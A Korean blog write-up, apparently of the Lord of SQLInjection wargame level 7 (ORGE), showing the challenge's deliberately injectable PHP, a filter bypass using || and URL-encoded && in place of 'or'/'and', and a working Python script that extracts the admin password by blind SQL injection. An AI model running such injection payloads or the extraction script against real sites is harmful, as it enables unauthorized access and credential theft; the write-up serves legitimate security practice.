본문 바로가기

wargame/LOS

[LOS]7번 ORGE

ORGE


7번 문제

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); // or, and 필터링

  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); // ' 등 앞에 \(backslash) 추가하여 $_GET[pw] 재정의
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>



and, or 필터링 외에는 이전의 4번 문제와 비슷하다.
id가 admin인 record는 존재한다.

id가 guest인 record도 존재한다.



4번처럼 blind injection을 쓰기로 했다.
우선 비밀번호의 길이를 알아내야 하므로 and length(pw) < 20 %23 이라는 구문을 뒤에 붙였다.

오잉? 입력되지 않는다. 코드에는 없지만 &도 필터링되는 것 같다.

&대신 %26을 쓰니까 잘 입력이 된다.

비밀번호의 길이는 8글자이다.

비밀번호를 알아내는 python 코드이다.

from urllib.parse import unquote
from bs4 import BeautifulSoup
import re
import requests
 
if __name__=="__main__":
 
    for i in range(1, 9):
        for j in range(48, 123) : # 아스키 코드의 범위
            query = "' || id = 'admin' %26%26 ascii(substr(pw, "+str(i)+", 1))="+str(j)+"%23"
            params = {"pw": unquote(query)}
            cookies = {"PHPSESSID" : ""}
            response = requests.get('https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php', cookies = cookies, params = params)
            html = response.text
            soup =  BeautifulSoup(html, 'html.parser')
            if soup.select('h2') :
                print(chr(j))
                break



비밀번호를 발견했다.

처음에 아래와 같이 입력했다,

생각해보니 id가 admin일 때 비밀번호만 입력하면 문제를 해결할 수 있으므로 얻은 비밀번호만 입력했다.
문제해결!

'wargame > LOS' 카테고리의 다른 글

[LOS]9번 VAMPIRE  (0) 2019.07.24
[LOS]8번 troll  (0) 2019.07.21
[LOS]6번 DARKELF  (0) 2019.07.21
[LOS]5번 WOLFMAN  (0) 2019.07.12
[LOS]4번 ORC  (0) 2019.07.11